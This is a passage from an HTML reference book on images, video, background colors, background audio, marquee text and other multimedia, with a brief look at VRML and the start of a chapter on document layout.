lets you later refer to that picture of a kumquat as simply "kumquat" in a JavaScript applet perhaps to erase or otherwise modify it. You cannot individually manipulate an image with JavaScript if it is not named.

The other three attributes let you provide JavaScript event handlers. The value of the attribute is a chunk of JavaScript code, enclosed in quotation marks; it may consist of one or more JavaScript expressions, separated by semicolons.

Netscape invokes the onAbort event handler if the user stops loading an image, usually by clicking the browser's "stop" button. You might, for instance, use an onAbort message to warn users if they stop loading some essential image, such as an image map (see the section called "Mouse-Sensitive Images"):

<img src="pics/kumquat.gif" usemap="#map1" onAbort="window.alert"('Caution: This image contains important
   hyperlinks. Please load the entire image.')">

The onError attribute is invoked if some error occurs during the loading of the image, but not for a missing image or one that the user chose to stop loading. Presumably, the applet could attempt to recover from the error or load a different image in its place.

Netscape executes the JavaScript code associated with the <img> tag's onLoad attribute right after the browser successfully loads and displays the image.

See the section called "JavaScript Event Handlers" for more information about JavaScript and event handlers.

Combining <img> attributes

You may combine any of the various standard and extension attributes for images where and when they make sense. The order for inclusion of multiple attributes in the <img> tag is not important, either. Just be careful not to use redundant attributes or you won't be able to predict the outcome.

Video Extensions

The special controls, dynsrc, loop, and start attribute extensions for the <img> tag are unique to Internet Explorer and are extensions to the HTML 3.2 standard. They let you embed an inline movie into the body content, just like an image.

Equivalent behavior is available in Netscape via an extension program known as a plug-in. Plug-ins place an additional burden on the user, in that each user must find and install the appropriate plug-in before being able to view the inline video. The Internet Explorer <img> tag extensions, on the other hand, make video display an intrinsic part of the browser. [the section called "Embedded Content"]

However, the Internet Explorer movie extensions currently are very limited. They are not supported by any other browser and can only be used with Audio Video Interleave (AVI) formatted movie files, since that's the player format built into Internet Explorer and enabled through Windows 95. Moreover, recent innovations in browser technology, applets in particular, may make Internet Explorer's approach of extending the already overloaded <img> tag obsolete.

The dynsrc attribute

Use the dynsrc attribute extension in the <img> tag to reference an AVI movie for inline display by Internet Explorer. Its required value is the URL of the movie file enclosed in quotation marks. For example, this text displays the tag and attribute for an AVI movie file entitled intro.avi:

<img dynsrc="movies/intro.avi">

The browser sets aside a video viewport in the HTML display window and plays the movie, with audio if it's included in the clip and if your computer is able to play audio. Internet Explorer treats dynsrc movies similar to inline images: in line with current body content and according to the dimension of the video frame. And, like common images, the dynsrc referenced movie file gets displayed immediately after download from the server. You may change those defaults and add some user controls with other attributes, as described below.

Because all other browsers currently ignore the special Internet Explorer attributes for movies, they may become confused by an <img> tag that does not contain the otherwise required src attribute and an image URL. We recommend that you include the src attribute and a valid image file URL in all <img> tags, including those that reference a movie for Internet Explorer users. The other browsers display the still image in place of the movie; Internet Explorer does the reverse and plays the movie, but does not display the image. Note that the order of attributes does not matter. For example:

<img dynsrc="movies/intro.avi" src="pics/mvstill.gif">

Internet Explorer loads and plays the AVI movie intro.avi; other graphical browsers will load and display the mvstill.gif image instead.

The controls attribute

Normally, Internet Explorer plays a movie inside a framed viewport once, without any visible user controls. The user may restart, stop, and continue the movie by clicking inside that viewport with the mouse. Use the controls attribute (no value) to add visible controls to the movie viewport so that the user may, with the mouse, play, fast-forward, reverse, stop, and pause the movie, like on a VCR. If the movie clip includes a sound track, Internet Explorer provides an audio volume control as well. For example:

<img dynsrc="movies/intro.avi" controls src="pics/mvstill.gif">

adds the various playback controls to the video window of the intro.avi movie clip, as shown in Figure 5.19.

Figure 5.19: The controls attribute adds movie playback controls to the video playback frame

[Graphic: Figure 5-19]

The loop attribute

Internet Explorer normally plays a movie clip from beginning to end once after download. The loop attribute for the movie <img> tag lets you have the clip play repeatedly for an integer number of times set by the attribute's value, or forever if the value is infinite. The user may still cut the loop short by clicking on the movie image, by pressing the stop button, if given controls (see previous), or by moving on to another document.

The following intro.avi movie clip will play from beginning to end, then restart at the beginning and play through to the end nine more times:

<img dynsrc="movies/intro.avi" loop=10 src="pics/mvstill.gif">

Whereas the following movie will play over and over again, incessantly:

<img dynsrc="movies/intro.avi" loop=infinite src="pics/mvstill.gif">

Looping movies aren't necessarily meant to annoy. Some special effects animations, for instance, are a sequence of repeated frames or segments. Rather than string the redundant segments into one, long movie that extends its download time, simply loop the single, compact frame or segment.

The start attribute

Normally, an Internet Explorer movie clip starts playing as soon as it's downloaded. You can modify that behavior with the start attribute in the movie's <img> tag. By setting its value to mouseover, you delay playback until the user passes the mouse pointer over the movie viewport. The other valid start attribute value, fileopen, is the default: start playback just after download. It is included because both values may be combined in the start attribute to cause the movie to automatically playback once after download, and then whenever the user passes the mouse over its viewport. Add a value-separating comma, with no intervening spaces, or else enclose them in quotes, when combining the start attribute values.

For example, our by-now-infamous intro.avi movie will play once when its host HTML document is loaded by the user, and whenever he or she passes the mouse over the movie's viewport:

<img dynsrc="movies/intro.avi" start="fileopen,mouseover"
     src="pics/mvstill.gif">

Combining movie <img> attributes

Treat Internet Explorer inline movies as you would any image, mixing and matching the various movie-specific, as well as the standard and extended <img> tag attributes and values supported by the browser. For example, you might align the movie (or its image alternate, if displayed by another browser) to the right of the browser window:

<img dynsrc="movies/intro.avi" src="pics/mvstill.gif" align=right>

Combining attributes to achieve a special effect is good. We also recommend you combine attributes to give control to the user, when appropriate. For instance, if you set up a movie to loop incessantly, you should also include the controls attribute so the user can stop the movie without having to leave the HTML document.

As we stated in 5.2.7.4, by combining attributes you can also delay playback until the user passes the mouse over its viewport. Magically, the movie comes alive and plays continuously:

<img dynsrc="movies/magic.avi" start=mouseover
   loop=infinite src="pics/magic.gif">

Previous | Home | Next
Horizontal Rules | Book Index | Document Colors and Background Images
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 5] 5.3 Document Colors and Background Images

HTML: The Definitive Guide

Previous Chapter 5
Rules, Images, and Multimedia 		Next

5.3 Document Colors and Background Images

The HTML 3.2 standard provides a number of attributes for the <body> tag that allow the HTML author to define text, link, and document background colors, in addition to defining an image to be used as the document background. Internet Explorer extends these attributes to include document margins and better background image control. And, of course, the latest style sheet technologies integrated into the current browsers let you manipulate all these various display parameters.

Extensions to the <body> Tag

The attributes that control the document background, text color, and document margins are used with the <body> tag. [the section called "The <body> Tag"]

The bgcolor attribute

You can change the default background color in the browser window to another hue with the bgcolor attribute for the <body> tag. Like the color attribute for the <font> tag, the required value of the bgcolor attribute may be expressed in either of two ways: as the red, green, and blue (RGB) components of the desired color or as a standard color name. Appendix F, Color Names and Values, provides a complete discussion of RGB color encoding along with a table of acceptable color names you can use with the bgcolor attribute.

Setting the background color is easy. To get a pure red background using RGB encoding, try:

<body bgcolor="#FF0000">

For a more subtle background, try:

<body bgcolor=peach>

The background attribute

If a splash of color isn't enough, you may also place an image into the background of a document with the background attribute in its <body> tag.

The required value of the background attribute is the URL of an image. The browser automatically repeats (tiles) the image both horizontally and vertically to fill the entire window.

You normally should choose a small, somewhat dim image to create an interesting but unobtrusive background pattern. Besides, a small, simple image traverses the network much faster than an intricate, full-screen image.

Figure 5.20 shows you how the extended browsers repeatedly render a single brick to create a wall of bricks for the document background:

<body background="pics/onebrick.gif">

Figure 5.20: One brick becomes many in a Netscape background

[Graphic: Figure 5-20]

Background images of various dimensions and sizes create interesting vertical and horizontal effects on the page. For instance, a tall skinny image might set off your document heading:

<body background="pics/vertical_fountain.gif">
<h3>Kumquat Lore</h3>
For centuries, many myths and legends have arisen around the kumquat.

If the vertical_fountain.gif is a narrow, tall image whose color grows lighter towards its base and whose length exceeds the length of the document body, the resulting document might look like the one shown in Figure 5.21.

Figure 5.21: A tall and skinny background

[Graphic: Figure 5-21]

You can achieve a similar effect horizontally with an image that is much wider than it is long (see Figure 5.22).

Figure 5.22: A long and skinny background

[Graphic: Figure 5-22]

The bgproperties attribute

The bgproperties attribute extension for the <body> tag is exclusive to Internet Explorer and only works in conjunction with the background attribute extension. The bgproperties attribute has a single value, fixed. It freezes the background image to the browser window, so it does not scroll with the other window contents. Hence, the example H2Omark.gif background image servers as a watermark for the document:

<body background="pics/H2Omark.gif" bgproperties="fixed">

The text attribute

Once you alter a document's background color or add a background image, you also might need to adjust the text color to ensure that users can read the text. The text attribute for the <body> tag does just that: it sets the color of all nonanchor text in the entire document.

Give the text attribute a color value in the same format as you use to specify a background color (see bgcolor above)--an RGB triplet or color name, as described in Appendix F, Color Names and Values. For example, to produce a document with blue text on a pale yellow background, use:

<body bgcolor="#777700" text="blue">

Of course, it's best to select a text color that contrasts well with your background color or image.

The link, vlink, and alink attributes

The link, vlink, and alink attributes of the <body> tag control the color of hypertext (<a> tag) in your documents. All three accept values that specify a color as an RGB triplet or color name, just like the text and bgcolor attributes.

The link attribute determines the color of all hyperlinks the user has not yet followed. The vlink attribute sets the color of all links the extended browser user had followed at one time or another. The alink attribute defines a color for active link text--one that is currently selected by the user and is under the mouse cursor with the mouse button depressed.

Like text color, you should be careful to select link colors that can be read against the document background. Moreover, the link colors should be different from the regular text as well as from each other.

The leftmargin attribute

Peculiar to Internet Explorer, the leftmargin attribute extension for the <body> tag lets you indent the left margin relative to the left edge of the browser's window, much like a margin on a sheet of paper. Other browsers ignore this attribute and normally left-justified body content abuts the left edge of the document window.

The value of the leftmargin attribute is the integer number of pixels for that left-margin indent; a value of 0 is the default. The margin is filled with the background color or image.

For example, Internet Explorer renders the following text justified against a margin 50 pixels away from the left edge of the browser window (see Figure 5.23):

<body leftmargin=50>
Internet Explorer lets you indent the<br>
&lt;--left margin<br>
away from the left edge of the window.
</body>

Figure 5.23: Internet Explorer's leftmargin attribute for indenting body content

[Graphic: Figure 5-23]

The topmargin attribute

Like leftmargin, the topmargin attribute extension currently is exclusive to Internet Explorer. It may be included in the <body> tag to set a margin of space at the top of the document. The margin space is filled with the document's background color or image.

Body content begins flowing below the integer number of pixels you specify as the value for topmargin; a value of 0 is the default.

For example, Internet Explorer renders the following text at least 50 pixels down from the top edge of the browser window (see Figure 5.24):

<body topmargin=50>
<center>
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
</center>
Internet Explorer can give your documents
a little extra headroom.
</body>

Figure 5.24: Internet Explorer's topmargin attribute for lowering body content

[Graphic: Figure 5-24]

The style and class attributes

You also can set all the various style-related <body> features and then some with HTML style sheets. But, although you may include the style attribute with the <body> tag to create an inline style for the entire body content, we recommend that you set the styles for the entire document body at the document level (<style> tag inside the document head) or via a collection-level (imported) style sheet. Use the class attribute and name value to apply the appropriate style of a predefined class of the <body> tag to the contents. (Since there can only be one body per document, what is the point of setting a class name otherwise?) We cover the use of style and class definitions in Chapter 9, Cascading Style Sheets.

Mixing and matching body attributes

Although background and bgcolor attributes can appear in the same <body> tag, a background image will effectively hide the selected background color unless the image contains substantial portions of transparent areas, as we described earlier in this chapter. But even if the image does hide the background color, go ahead and include the bgcolor attribute and some appropriate color value. That's because users can turn off image downloading, which includes background images, and so they may find your page otherwise left naked and unappealing. Moreover, without a bgcolor attribute or a downloaded (for whatever reason) background image, the browsers merrily ignore your text and link color attributes, too, reverting instead to its own default values, or the ones chosen by the user.

Extending a Warning

The various color and image extensions work wonderfully, particularly the colorful ones, assuming that all users have a 256-color display, lots of available memory, unlimited network bandwidth, and good visual acuity. In reality, many users have monochrome or limited color displays, limited memory for caching images, extremely restricted network bandwidth, and poor vision.

Because of these limitations, you should seriously consider not using any of these extensions in your documents. Much like early users of the Macintosh felt compelled to create documents using ransom-note typography ("I've got 40 fonts on this thing, and I'm going to use them all!"), many authors cannot avoid adding some sort of textured background to every document they create ("I've got 13 wood grains and 22 kinds of marbling, and I'm going to use them all!").

In reality, except for the very clever ones, texture-mapped backgrounds add no information to your documents. The value of your document ultimately lies in its text and imagery, not the cheesy blue swirly pattern in the background. No matter how cool it looks, your readers are not benefiting and could be losing readability.

We advise you not to use the color extensions except for comparatively frivolous endeavors or unless the extension really adds to the document's value, such as for business advertising and marketing pages.

Problems with background images

Here are some of the things that can go wrong with background images:

  • The time to load the document is increased by the amount of time needed to load the image. Until the background image is completely downloaded, no further document rendering is possible.

  • The background image takes up room in the browser's local cache, displacing other images that might actually contain useful information. This makes other documents, which might not even have backgrounds, take that much longer to load.

  • The colors in the image may not be available on the user's display, forcing the browser to dither the image. This replaces large areas of a single color with repeating patterns of several other closer, but not cleaner, colors and can make the text more difficult to read.

  • Because the browser must actually display an image in the background, as opposed to filling an area with a single color, scrolling through the document can take much longer.

  • Even if it's clear onscreen, text printed on top of an image invariably is more difficult, if not impossible, to read.

  • Fonts vary widely between machines; the ones you use with your browser that work fine with a background pattern often end up jagged and difficult to read on another machine.

Problems with background, text, and link colors

There also are a slew of problems you will encounter if you play with background colors, including:

  • The color you choose, while just lovely in your eyes, may look terrible to the user. Why annoy them by changing what users most likely have already set as their own default background color?

  • While you may be a member of the "light text on a dark background" school of document design, many people also favor the "dark text on a light background" style that has been consistently popular for over three thousand years. Instead of bucking the trend, assume that the user has already set their browser to a comfortable color scheme.

  • Some users are color-blind. What may be a nifty-looking combination of colors to you may be completely unreadable to others. One combination in particular to avoid is green for unvisited links and red for visited links. Millions of men are afflicted with red/green color blindness.

  • Your brilliant hue may not be available on the user's display, and the browser may be forced to choose one that's close instead. For displays with very few colors (like those of several million 16-color VGA Windows-based machines currently in use) the close colors for the text and the background might be the same color!

  • For the same reasons above, active, unvisited, and visited links may all wind up as the same color on limited-color displays.

  • By changing text colors, particularly those for visited and unvisited links, you may completely confuse the user. By changing those colors, you effectively force them to experiment with your page, clicking a few links here and there to learn your color scheme.

  • Most page designers have no formal training in cognitive psychology, fine arts, graphic arts, or industrial design, yet feel fully capable of selecting appropriate colors for their documents. If you must fiddle with the colors, ask a professional to pick them for you.

And then again

There is no denying the fact that these extensions result in some very stunning HTML documents. And they are fun to explore and play with. So, rather than leave this section on a sour note of caution, we encourage you to go ahead and play--just play carefully.

Previous | Home | Next
Inserting Images in Your Documents | Book Index | Background Audio
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 5] 5.4 Background Audio

HTML: The Definitive Guide

Previous Chapter 5
Rules, Images, and Multimedia 		Next

5.4 Background Audio

There is one other form of inline multimedia generally available to web surfers--audio. Most browsers treat audio multimedia as separate documents, downloaded and displayed by special helper applications, applets, or plug-ins. Internet Explorer, on the other hand, contains a built-in sound decoder and supports a special HTML tag that lets you integrate an audio file with your document that plays in the background as a soundtrack for your page. [the section called "Applets"] [the section called "Embedded Content"]

We applaud the developers of Internet Explorer for providing a mechanism that more cleanly integrates audio into HTML documents. And the possibilities with audio are very enticing. But at the same time, we caution authors that the special tags and attributes for audio don't work with other browsers, and whether this is the method that the majority of browsers will eventually support is not at all assured. So, beware.

The <bgsound> Tag

Use the <bgsound> tag to play a soundtrack in the background. This tag is for Internet Explorer documents only. All other browsers ignore the tag. It downloads and plays an audio file when the host HTML document is first downloaded by the user and displayed in their browser. The background sound file also will replay whenever the user refreshes the browser display.

<bgsound> (Internet Explorer)
Function:

Plays a soundtrack in the document background

Attributes:

LOOP
SRC

End tag:

None

Contains:

Nothing

Used in:

body_content

The src attribute

The src attribute is required for the <bgsound> tag. Its value references the URL for the related sound file. For example, when the Internet Explorer user first downloads an HTML document containing the tag:

<bgsound src="audio/welcome.wav">

they will hear the welcome.wav audio file--perhaps an inviting message--play once through their computer's sound system.

Currently, Internet Explorer can handle three different sound format files: wav, the native format for PCs; au, the native format for most UNIX workstations; and MIDI, a universal music-encoding scheme (see also Table 5.1).

Table 5.1: Common multimedia formats and respective filename extensions
Format | Type | Extension | Platform of Origin
GIF | Image | gif | Any
JPEG | Image | jpg, jpeg, jpe | Any
XBM | Image | xbm | UNIX
TIFF | Image | tif, tiff | Any
PICT | Image | pic, pict | Any
Rasterfile | Image | ras | Sun
MPEG | Movie | mpg, mpeg | Any
AVI | Movie | avi | Microsoft
QuickTime | Movie | qt, mov | Apple
AU | Audio | au, snd | Sun
WAV | Audio | wav | Microsoft
AIFF | Audio | aif, aiff | Apple
MIDI | Audio | midi, mid | Any
PostScript | Document | ps, eps, ai | Any
Acrobat | Document | pdf | Any

The loop attribute

Like Internet inline movies, the loop attribute for the browser's <bgsound> tag lets you replay a background soundtrack for a certain number of times (or over and over again forever), at least until the user moves on to another page or quits the browser.

The value of the loop attribute is the integer number of times to replay the audio file, or infinite, which makes the soundtrack repeat endlessly.

For example:

<bgsound src="audio/tadum.wav" loop=10>

repeats the ta-dum soundtrack ten times, whereas:

<bgsound src="audio/noise.wav" loop=infinite>

continuously plays the noise soundtrack.

Alternative Audio Support

There are other ways to include audio in your documents, using more general mechanisms that support other embedded media as well. The most common alternative to the <bgsound> tag is the <embed> tag, originally implemented by Netscape. Because of its more general nature, we cover the <embed> tag in 13.2.

Previous | Home | Next
Document Colors and Background Images | Book Index | Animated Text
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 5] 5.5 Animated Text

HTML: The Definitive Guide

Previous Chapter 5
Rules, Images, and Multimedia 		Next

5.5 Animated Text

In what appears to be an effort to woo advertisers, Internet Explorer has added a form of animated text to HTML. The animation is simple--text scrolling horizontally across the display--but effective for moving banners and other elements that readily and easily animate an otherwise static document. On the other hand, like the <blink> tag, animated text can easily become intrusive and abusive for the reader. Use with caution, please, if at all.

The <marquee> Tag

The <marquee> tag defines the text that scrolls across the Internet Explorer user's display.

<marquee> (Internet Explorer)
Function:

Create a scrolling text marquee

Attributes:

ALIGN
BEHAVIOR
BGCOLOR
CLASS
DIRECTION
HEIGHTH
SPACE
LOOP
STYLE
SCROLLAMOUNT
SCROLLDELAY
VSPACE
WIDTH

End tag:

</marquee>; never omitted

Contains:

plain_text

Used in:

body_content

The <marquee> tag is for Internet Explorer only, and it is an extension to the HTML 3.2 standard. The text between the <marquee> tag and its required </marquee> end tag scrolls horizontally across the display. The various tag attributes control the size of the display area, its appearance, its alignment with the surrounding text, and the scrolling speed.

The <marquee> tag and attributes are ignored by other browsers, but its contents are not. They are displayed as static text, sans any alignment or special treatments afforded by the <marquee> tag attributes.

The align attribute

Internet Explorer places <marquee> text into the surrounding body content just as if it were an embedded image. As a result, you can align the marquee within the surrounding text.

The align attribute accepts a value of top, middle, or bottom, meaning that the specified point of the marquee will be aligned with the corresponding point in the surrounding text. Thus:

<marquee align=top>

aligns the top of the marquee area with the top of the surrounding text. Also see the height and width, hspace and vspace attributes later in this chapter that control the dimensions of the marquee.

The behavior, direction, and loop attributes

Together, these three attributes control the style, direction, and duration of the scrolling in your marquee.

The behavior attribute accepts three values:

scroll (default)

The value of scroll causes the marquee to act like the grand marquee in Times Square: the marquee area is empty initially; the text then scrolls in from one side (controlled by the direction attribute), continues across until it reaches the other side of the marquee, and then scrolls off until the marquee is once again empty.

slide

This value causes the marquee to start empty. Text then scrolls in from one side (controlled by the direction attribute), stops when it reaches the other side, and remains onscreen.

alternate

Specifying alternate as the value for the behavior attribute causes the marquee to start with the text fully visible at one end of the marquee area. The text then scrolls until it reaches the other end, whereupon it reverses direction and scrolls back to its starting point.

If you do not specify a marquee behavior, the default behavior is scroll.

The direction attribute sets the direction for marquee text scrolling. Acceptable values are either left (the default) or right. Note that the starting end for the scrolling is opposite to the direction: left means that the text starts at the right of the marquee and scrolls to the left. Remember also that rightward-scrolling text is counter-intuitive to anyone who reads left to right.

The loop attribute determines how many times the marquee text scrolls. If an integer value is provided, the scrolling action is repeated that many times. If the value is infinite, the scrolling repeats until the user moves on to another document within the browser.

Putting some of these attributes together:

<marquee align=center loop=infinite>
  Kumquats aren't filling
  ..........      Taste great, too!
</marquee>

The example message starts at the right side of the display window (default direction), scrolls leftward all the way across and off the Internet Explorer display, and then starts over again until the user moves on to another page. Notice the intervening periods and spaces for the "trailer"; you cannot append one marquee to another.

Also, the slide-style of scrolling looks jerky when repeated and should only be scrolled once. Other scrolling behaviors work well with repeated scrolling.

The bgcolor attribute

The bgcolor attribute lets you change the background color of the marquee area. It accepts either an RGB color value or one of the standard color names. See Appendix F, Color Names and Values for a full discussion of both color-specification methods.

To create a marquee area whose color is yellow, you would write:

<marquee bgcolor=yellow>

The height and width attributes

The height and width attributes determine the size of the marquee area. If not specified, the marquee area extends all the way across the Internet Explorer display and will be just high enough to enclose the marquee text.

Both attributes accept either a numeric value, indicating an absolute size in pixels, or a percentage, indicating the size as a percentage of the browser window height and width.

For example, to create a marquee that is 50 pixels tall and occupies one-third of the display window width, use:

<marquee height=50 width="33%">

While it is generally a good idea to ensure the height attribute is large enough to contain the enclosed text, it is not uncommon to specify a width that is smaller than the enclosed text. In this case, the text scrolls the smaller marquee area, resulting in a kind of "viewport" marquee familiar to most people.

The hspace and vspace attributes

The hspace and vspace attributes let you create some space between the marquee and the surrounding text. This usually makes the marquee stand out from the text around it.

Both attributes require an integer value specifying the space needed in pixels. The hspace attribute creates space to the left and right of the marquee; the vspace attribute creates space above and below the marquee. To create 10 pixels of space all the way around your marquee, for example, use:

<marquee vspace=10 hspace=10>

The scrollamount and scrolldelay attributes

These attributes control the speed and smoothness of the scrolling marquee.

The scrollamount attribute value is the number of pixels needed to move text each successive movement during the scrolling process. Lower values mean smoother, but slower scrolling; higher numbers create faster, but jerkier text motion.

The scrolldelay attribute lets you set the number of milliseconds to wait between successive movements during the scrolling process. The smaller this value, the faster the scrolling.

You can use a low scrolldelay to mitigate the slowness of a small, smooth scrollamount. For example,

<marquee scrollamount=1 scrolldelay=1>

scrolls the text one pixel for each movement, but does so as fast as possible. In this case, the scrolling speed is limited by the capabilities of the browser's computer.

The style and class attributes

The style attribute for the <marquee> tag creates an inline style for the text enclosed by the tag, overriding any other style rule in effect. The class attribute lets you format the content according to a predefined class of the <marquee> tag; its value is the name of that class. [the section called "Inline Styles: The style Attribute"] [the section called "Style Classes"].

Previous | Home | Next
Background Audio | Book Index | Other Multimedia Content
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 5] 5.6 Other Multimedia Content

HTML: The Definitive Guide

Previous Chapter 5
Rules, Images, and Multimedia 		Next

5.6 Other Multimedia Content

The Web is completely open-minded about the types of content that can be exchanged by servers and browsers. In this section, we look at a different way to reference images, along with audio, video, and other document formats.

Embedded Versus Referenced Content

Images currently enjoy a special status among the various media that can be included within an HTML document and displayed inline with other content by all but a few browsers. Sometimes, however, as we discussed earlier in this chapter, you may also reference images externally, particularly large ones in which details are important, but not immediately necessary to the document content. Other multimedia elements, including digital audio and video, can be referenced as separate documents external to the current one.

You normally use the anchor tag (<a>) to link external multimedia elements to the current document. Just like other link elements selected by the user, the browser downloads the multimedia object and presents it to the user, possibly with the assistance of an external application or plug-in. Referenced content is always a two-step process: present the document that links to the desired multimedia object, then present the object if the user selects the link. [the section called "The <a> Tag"]

In the case of images, you can choose how to present images to the user: inline and immediately available via the <img> tag, or referenced and subsequently available via the <a> tag. If your images are small and critical to the current document, you should provide them inline. If they are large or are only a secondary element of the current document, make them available as referenced content via the <a> tag.

If you choose to provide images via the <a> tag, it is sometimes a courtesy to your readers to indicate the size of the referenced image in the referencing document and perhaps provide a thumbnail sketch. Users can then determine whether it is worth their time and expense to retrieve it.

Referencing Audio, Video, and Images

You reference any external document, regardless of type or format, in an HTML document via a conventional anchor (<a>) link:

The <a href="sounds/anthem.au">Kumquat Grower's Anthem</a> is a rousing tribute to the thousands of 'quat growers around the world.

Just like any referenced document, the server delivers the desired multimedia object to the browser when the user selects the link. If the browser finds the document is not HTML, but some other format, it automatically invokes an appropriate rendering tool to display or otherwise convey the contents of the object to the user.

You can configure your browser with special helper applications that handle different document formats in different ways. Audio files, for example, might be passed to an audio-processing tool, while video files are given to a video-playing tool. If a browser has not been configured to handle a particular document format, the browser will inform you and offer to simply save the document to disk. You can later use an appropriate viewing tool to examine the document.

Browsers identify and specially handle multimedia files from one of two different hints: either from the file's Multipurpose Internet Mail Extension (MIME) type provided by the server or from a special suffix in the file's name. The browser prefers MIME because of its richer description of the file and its contents, but will infer the file's contents (type and format) of the object by the file suffix; .gif or .jpg, for GIF and JPEG encoded images, for example, or .au for a special sound file.

Since not all browsers look for a MIME type, nor will they all be correctly configured with helper applications by their users, you should always use the correct file suffix in the names of multimedia objects. See Table 5.1 for examples.

Appropriate Linking Styles

Creating effective links to external multimedia documents is critical. The user needs some indication of what the object is and perhaps the kind of application the linked object needs to execute. Moreover, most multimedia objects are quite large, so common courtesy tells us to provide users with some indication of the time and expense involved in downloading it.

In lieu of, or in addition to, the anchor and surrounding text, a small thumbnail of large images or a familiar icon that indicates the referenced object's format may be useful.

Embedding Other Document Types

The Web can deliver nearly any type of electronic document, not just graphics, sound, and video files. To display them, however, the client browser needs a helper application installed and referenced. Recent browsers also support plug-in accessory software and, as described in Chapter 13, Executable Content, which may extend the browser for some special function, including inline display of multimedia objects.

For example, consider a company whose extensive product documentation was prepared and stored in some popular layout application like FrameMaker, Quark XPress, or PageMaker. The Web offers an excellent way for distributing that documentation over a worldwide network, but converting to HTML would be too costly at this time.

The solution is to prepare a few HTML documents that catalog and link the alternative files and invoke the appropriate display applet. Or, make sure the users' browsers have the plug-in software or are configured to invoke the appropriate helper application--FrameMaker, for example, if the document is in FrameMaker format. Then, if a link to a FrameMaker document is chosen, the tool is started and accordingly displays the document.

Previous | Home | Next
Animated Text | Book Index | Beyond HTML
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 5] 5.7 Beyond HTML

HTML: The Definitive Guide

Previous Chapter 5
Rules, Images, and Multimedia 		Next

5.7 Beyond HTML

Ever since the publication of Vernor Vinge's ground-breaking science fiction novelette True Names in 1978, many computer programmers and users have been fascinated by the ideas of "virtual reality" and "cyberspace"--computer interfaces using 3D surround graphics with which a user could interact in something like the way our physical bodies interact with the real world.

In 1994, two Silicon Valley programmers with backgrounds in computer graphics went public with the provocative idea that the distributed-hypertext model of HTML might be used as a foundation for building cyberspace. A working group began adapting and enhancing a graphics-description language previously developed at Silicon Graphics Inc. to be used with HTML and Web software.

The result was Virtual Reality Markup Language (VRML). VRML follows the HTML model in several important respects. Like HTML, VRML is a content-based, plain-ASCII markup language that describes its universe at a high level, and leaves it up to the browser or client program to make detailed presentation decisions. VRML technology has since evolved even more rapidly than the Web itself. As of April 1997, Microsoft was in the process of extending the VRML standard, and support for an earlier version of VRML was available as an add-on for the popular Netscape browser for PCs.

VRML documents describe worlds populated with 3D shapes. Developers build objects from basic shapes, such as cubes, cones, and spheres, with a variety of surface effects, including texture maps and lighting, available for composing realistic objects. It's possible to associate URLs with objects in a VRML world in such a way that when a user touches the object, they are transported to another VRML world, an HTML document, or a CGI (Common Gateway Interface) script (which itself may generate a VRML world).

Some intriguing demonstration interfaces to large databases have already been built and suggest the beginnings of true cyberspace architecture. So far, however, these demonstrations fall short of the strong virtual-reality experience depicted in science-fiction books and movies. Three related problems bar the way. The design problem is that VRML currently has no capacity to do animation. VRML worlds are static. While it's easy to move the user's viewpoint in a VRML world, the only way to actually move or alter a VRML object is to generate an entirely new document and render it. Proposals to support animation description are in the works, but none have yet been adopted as of April 1997. This may well have changed by the time this book arrives in bookstores.

The second, practical problem is that reasonably priced desktop machines in 1997 simply don't have the capacity to do realistic animation of general scenes. The computational cost of point-plotting, hidden-line elimination, texture-mapping, and lighting calculations gets very large, very quickly. Companies that care about animation, like Pixar and Industrial Light and Magic, use multimillion-dollar special-purpose supercomputers for this job because they have to. Current VRML browsers, for example, frequently have to drop back from full-surface rendering to wireframe mode when moving the viewer's eyepoint. Even without animation, rendering of static images including texture-mapping, spheres and sculpted surfaces, can take many seconds, which is unacceptably slow.

The third problem is that VRML worlds are not yet shared spaces. For virtual reality to begin to approach the interactive richness of the real world, it must be possible to interact in a VRML world not merely with objects but with the "avatar" or cyberspatial manifestations of other users. This is an area of very active interest to the VRML developers (many of whom have been directly inspired by the Black Sun environment depicted in Neil Stephenson's immensely popular science fiction novel, Snow Crash), but no single solution has yet emerged. (There are other, comparatively minor problems: VRML has no sound capability, for example. But it's easy to imagine a solution for this one within current technology.)

Thus, VRML is still currently more a promise and a technology direction than a complete answer to the virtual-reality question. But the trend-curves of desktop hardware performance and the amount of money being poured into better multimedia graphics accelerators make it one worth watching carefully. With another few years' hardware evolution and a few foreseeable VRML language enhancements, a true distributed cyberspace, built around and using WWW servers, may well be within our reach.

Previous | Home | Next
Other Multimedia Content | Book Index | Document Layout
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 6] Document Layout

HTML: The Definitive Guide

Previous Chapter 6 Next

6. Document Layout

Contents:
Creating Whitespace
Multicolumn Layout
Layers

HTML was conceived in academia, not on Madison Avenue. It was originally intended to be an easy-to-use markup language to help people make their documents more readable through text embellishments like headers as well as more extensible to their own and others' work through hyperlinks; and include other media besides text--not for pizzazz, but to better explain and illustrate their work. HTML is not a page layout tool. Well, at least not yet.

As we discussed in Chapter 1, HTML and the World Wide Web, the language has evolved with the Internet itself. In particular, chances are probably a hundred to one that the web user is now not a college professor doing research, but a youngster surfing for a cool site or a buyer shopping for product information and the best deal. Commercial interests--the driving force of the Web today--demand increasingly complex page formats and visual displays to attract the ever-growing population of users, emphasizing look and feel over content.

From the start of their enterprise, the developers at Netscape have been at the forefront of browser design that addresses the needs of commercial interests. Their newest venture extends HTML to provide authors with far more sophisticated page layout capabilities than previous versions.

In this chapter, we cover three new features that are unique to Netscape Navigator: spacers, multiple columns, and layers. Like tables and frames, these new tags are seductive in the extreme, luring the designer away from the HTML standard with the promise of exciting new page layout capabilities. As always, we admonish you to use these extensions only where absolutely necessary, since you alienate a portion of your audience each time you elect to include these tags in your documents.

6.1 Creating Whitespace

One of the simplest elements in any page design is the empty space surrounding content. Empty space is often just as important to the look and feel of a page as the areas filled with text and images. Commonly known as whitespace, these empty areas shape and contain the content of your page.

